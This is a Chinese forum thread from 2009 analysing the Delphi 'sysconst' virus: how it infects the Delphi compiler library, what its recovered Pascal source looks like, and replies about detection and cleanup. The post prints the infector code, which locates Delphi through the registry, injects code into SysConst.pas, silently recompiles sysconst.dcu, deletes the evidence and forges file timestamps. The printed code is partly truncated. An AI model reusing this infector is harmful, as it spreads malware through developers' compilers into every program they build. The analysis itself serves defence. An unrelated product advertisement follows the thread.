关于sysconst病毒的一点分析

gyk120 2009-08-28 11:47:28
加精
剪刀老大威逼的……本来想用OD+IDA的,后来想想,这里不是汇编板块,为了让大多数同行朋友能够看得懂,运用了一下傻瓜工具,RT。
这个病毒运行原理如何,假设我们一概不知,但我们可以用类似黑盒的方法检测出来,比如用Filemon这类的工具,检测这个EXE到底做了哪些操作,监视记录日志已经上传到CSDN资源上面,大家可以到这个页面下载
http://download.csdn.net/source/1611684
具体来说,这个病毒会做如下事情:
1、运行,读取注册表,找出Delphi的安装目录(这样一来,对2000+就没有威胁了,因为安装信息不会保存在注册表当中)
2、找到安装目录下lib文件夹,查找sysconst.bak文件,如果是感染过的(有这个文件),就没有什么动作,else,恩恩
3、如果未被感染,病毒会读取C:\Program Files\Borland\Delphi7\source\rtl\sys\SysConst.pas(通过注册表获取路径,我的电脑上是这样的),并且在指定偏移位置写入字符串。
4、把那个倒霉蛋sysconst.dcu(我是好人啊……)改成bak后缀名,逐出门墙,欢迎新人到来。
5、调用dcc32编译器,带参编译,生成新的带毒的sysconst.dcu
6、暗度陈仓,还要毁灭证据才行,删除sysconst.pas,避免被发现
7、大功告成,同步一下时间戳,天衣无缝……
以上就是病毒全部的行为,至于病毒写了些什么,不妨接着往下看。
接下来利用DeDeDark,这可是反汇编Delphi的好东西,当然我们不需要反汇编,我们只需要查看一下PE结构即可

这是未被感染的EXE的PE结构

这是被感染后的EXE的PE结构
从这两图当中可以看出,被感染后,PE文件的data段和idata段都被写入了信息,因此占用的空间变大了,不过,究竟写入了什么,还是得求助Winhex这类16进制查看工具。
Winhex载入被感染的EXE和干净EXE相比对,很快就发现此处有问题:

里面写入了一些乱七八糟的字符串,这个相当于作者的开源方法?由于是采用字符数组保存,所以看得到明文。梳理一下还是一段代码:
function x(s:string):string;

var

i:integer;

begin

for i:=1 to length(s) do

if s=#36 then s:=#39;

result:=s;

end;

procedure re(s,d,e:string);

var

f1,f2:textfile;

h:cardinal;

f:STARTUPINFO;

p:PROCESS_INFORMATION;

b:boolean;

t1,t2,t3:FILETIME;

begin

h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);

if h<>DWORD(-1) then

begin

CloseHandle(h);

exit;

end;

{'I-}assignfile(f1,s);

reset(f1);

if ioresult<>0 then

exit;

assignfile(f2,d+'pas');

rewrite(f2);

if ioresult<>0 then

begin

closefile(f1);

exit;

end;

while not eof(f1) do

begin

readln(f1,s);

writeln(f2,s);

if pos('implementation',s)<>0 then

break;

end;

for h:= 1 to 1 do

writeln(f2,sc[h]);

for h:= 1 to 23 do

writeln(f2,''''+sc[h],''',');

writeln(f2,''''+sc[24]+''');');

for h:= 2 to 24 do

writeln(f2,x(sc[h]));

closefile(f1);

closefile(f2);

{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));

fillchar(f,sizeof(f),0);

f.cb := sizeof(f);

f.dwFlags := STARTF_USESHOWWINDOW;

f.wShowWindow := SW_HIDE;

b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);

if b then

WaitForSingleObject(p.hProcess,INFINITE);

MoveFile(pchar(d+'bak'),pchar(d+'dcu'));

DeleteFile(pchar(d+'pas'));

h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);

if h=DWORD(-1) then

exit;

GetFileTime(h,@t1,@t2,@t3);

CloseHandle(h);

h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);

if h=DWORD(-1) then

exit;

SetFileTime(h,@t1,@t2,@t3);

CloseHandle(h);

end;



procedure st;

var

k:HKEY;

c:array [1..255] of char;

i:cardinal;

r:string;

v:char;

begin

for v:='4' to '7' do

if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then

begin

i:=255;

if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then

begin

r:='';

i:=1;

while c<>#0 do

begin

r:=r+c;

inc(i);

end;

re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');

end;

RegCloseKey(k);

end;

end;

begin

st;

end.
...全文
2755 107 打赏 收藏 转发到动态 举报
写回复
用AI写文章
107 条回复
切换为时间正序
请发表友善的回复…
发表回复
山东蓝鸟贵薪 2011-06-29
  • 打赏
  • 举报
回复
又是写病毒的呀,学习学习
Rail100 2010-03-04
  • 打赏
  • 举报
回复
我靠,这病毒太猛了,虽然已经很少用delphi,但下次用的时候一定要多加留意。
ws999999999 2009-09-27
  • 打赏
  • 举报
回复
强…………………………
lhy 2009-09-27
  • 打赏
  • 举报
回复
[Quote=引用 99 楼 chengran1984 的回复:]
中招中,Windows7 +delphi7 中毒以后我用原来的恢复了以后,只要编译,马上又中毒,不管你的bak文件是否存在,现在迷茫中不知道如何解决。
[/Quote]
是不是没有删除带毒的exe
gyk120 2009-09-26
  • 打赏
  • 举报
回复
sysconst.dcu大小如果是17K,那就是中毒了,把lib/debug目录下的sysconst.dcu复制到lib目录下覆盖即可
hjkto 2009-09-21
  • 打赏
  • 举报
回复
要怎么判断自己的d7是否中毒
有无简单的判断方法?和预防方法?lz
k1727 2009-09-20
  • 打赏
  • 举报
回复
卡巴可以杀了。
wxsan 2009-09-18
  • 打赏
  • 举报
回复
牛人!
chengran1984 2009-09-12
  • 打赏
  • 举报
回复
中招中,Windows7 +delphi7 中毒以后我用原来的恢复了以后,只要编译,马上又中毒,不管你的bak文件是否存在,现在迷茫中不知道如何解决。
suuuu 2009-09-11
  • 打赏
  • 举报
回复
个人的观点是:无论是利用delphi编的病毒还是黑了delphi使我们这些菜鸟的程序变成病毒,只会让我感觉delphi的魅力越来越大。任何的程序或者工具都会有漏洞,linux的成长过程也是啊。关注的人多了,爱好的人多了,这样的程序或者工具才会得到发展。呵呵~个人还是个菜鸟,也知道delphi易学难精的道理。但是就抱着想把它学精的态度去专研。期间肯定少不了各位高手的指点,学好了我也希望可以像楼主一样潇洒的这样发表自己的看法。
观摩、学习~
lw549 2009-09-08
  • 打赏
  • 举报
回复
怎么说呢?代码写成这样只能说有点丢人现眼了。貌似得到了谭浩强的真传,哈哈。
smile_ps 2009-09-08
  • 打赏
  • 举报
回复
去运气还好。没中招!其他几个同事都中招了。
newfang 2009-09-05
  • 打赏
  • 举报
回复
顶楼主~~~
ruanjian2110 2009-09-02
  • 打赏
  • 举报
回复
这个病毒来的太突然了,怪不得前几天运行delphi程序卡巴就会报毒,删除了之后就出问题了。后来不得不把系统还原了,之后还是报毒。没办法就暂时没用了,今天网上一查,果然有好多人中此毒!哎.
阿发伯 2009-09-02
  • 打赏
  • 举报
回复
顶一下
dongnanyanhai 2009-09-02
  • 打赏
  • 举报
回复
[Quote=引用 52 楼 xinxinshou2009 的回复:]
引用 50 楼 snowflying928 的回复:

这种推理太简单了。一个公司不敢这么搞的。除非他想死,如果有目的也是个人的行为。
看看现在的外资贿赂案就知道了。一个上市公司是不敢这么搞的。当然如果是在中国就另当别论了



很多时候,就是我们把简单的事情想复杂了。一个公司不敢这么搞?你见过微软的公司这么频繁的打恐吓电话嘛?你见过以前的宝蓝这么频繁的恐吓嘛?外资贿赂案,只是因为牵扯到国家的利益,所以才被这么严肃处理,如果只是牵涉个人,谁会插手这种事情?现在的中国,只要看看不久前的躲猫猫和俯卧撑,就知道什么事都有可能发生,有什么好奇怪的?
[/Quote]

我也希望外国的那些呆B们这么搞,但显然他们在这点上不大想学中国的呆B!
Sou2012 2009-09-02
  • 打赏
  • 举报
回复
支持原创!!
  • 打赏
  • 举报
回复
每天回帖有10分呢
laoban108 2009-09-01
  • 打赏
  • 举报
回复
没懂。。。。收藏。。
CaiBirdy 2009-09-01
  • 打赏
  • 举报
回复
想避免再次感染其实也很简单,把好的pas文件放在编译路径最顶层就好了,只是简单设置一下编译路径,病毒感染的那个文件也不会编译进来,病毒不攻自破。。。
加载更多回复(87)
* ezService一直在更新中。请从http://www.ezService.org/download/ezService.exe下载最新版本。 * 根据调查,多数使用者认为原先的价格过高,自2003年9月1日起ezService价格进行重大调整,仅为原来价格的30%! ezService是一个致力于简化分布式计算服务开发的框架。 简要介绍: 1. 使用ezService开发分布式数据库应用,可以大幅度简化应用服务器的开发,无须在建立COM+/SOAP Server应用上花费任何时间,也不需要费心管理数据库事务,只要具备熟练运用SQL的能力,理解SQL参数匹配规则即可写出复杂的分布式应用服务,使得入门级程序员也可以轻松负担服务开发任务。 2. ezService高级服务允许按照类pascal语法规则自由书写脚本,实现复杂业务逻辑,新版本可以支持自Borland Delphi 7导出的大量函数和对象。同时提供了对COM的直接支持,可以通过引用COM组件,与外部系统进行复杂的交互操作。 3. ezService内核为COM+,支持连接池(connection pooling)和对象池(object pooling)机制,自动支持分布式事务。 4. ezService使用ADO提供程序连接数据库管理系统,凡是提供良好的OLE-DB驱动的DBMS均可支持(目前已经在SQL Server和Oracle 8/9上通过用户验证)。 5. ezService使用名为ESDL(ezService定义语言)的(类似WSDL)XML发布文档,ESDL可以对外界发布ezService所开发服务的全部功能接口,使得第三方开发者也可以方便的了解服务,快速进行二次开发而无需了解服务细节。 6. 支持SOAP协议,提供一个ISAPI类型的Web Service,一个ASP.NET Web Service,可以直接将服务功能发布到Internet/Intranet,无须额外编程。 7. 未授权的ezService服务具备与授权版本完全相同的功能,仅会在执行时随机锁定3个用户身份验证帐号,其他功能不受影响。 8. 由于使用了COM+/SOAP技术,ezService可以被主流开发工具轻松调用,发行版本附带了可应用于Borland Delphi 7的一组VCL,使开发员可以迅速访问ezService服务。在Visual Studio .NET开发环境中也可以轻松使用类似技术。 其他介绍: ezService主要定位在以下四个方面:简化中小型分布式关系型计算服务开发、规范服务管理、创建完好设计契约、加速服务客户程序开发。集快速服务设计、服务即时发布、安全管理、跨系统协作于一身,是中小型分布式关系型数据库应用开发的一揽子解决方案,适应于快速搭建完备可靠的应用系统。 ezService所开发的应用服务定义,可以被立即登记到服务注册表中,无需任何繁琐设置即可被ezService客户程序以及支持COM+/SOAP的开发工具所访问。 ezServiceWeb Service服务提供者同时也是ezService系统平台的对外集成接口,遵循其WSDL声明,即可在各种外部系统中生成访问其数据的SOAP客户程序,通过完备的XML请求/响应定义,外部系统可以实现对ezService系统的数据读写访问。 新版本的ezService SE更换了脚本引擎,全面支持下列Delphi单元的绝大多数函数和类: - System - SysUtils - Windows - Classes - Types - TypInfo - Variants - VarUtils - DateUtils - DB - ADODB - ADOInt - DBClient - FMTBcd - IniFiles - MaskUtils - Math - Registry - SqlTimSt - StrUtils - SysConst 具备更强大的扩展能力。 更多内容,请访问作者主页:http://www.ezService.org 目前主页新增了论坛系统,欢迎访问留言: http://www.ezService.org/dvbbs

16,748

社区成员

发帖
与我相关
我的任务
社区描述
Delphi 语言基础/算法/系统设计
社区管理员
  • 语言基础/算法/系统设计社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧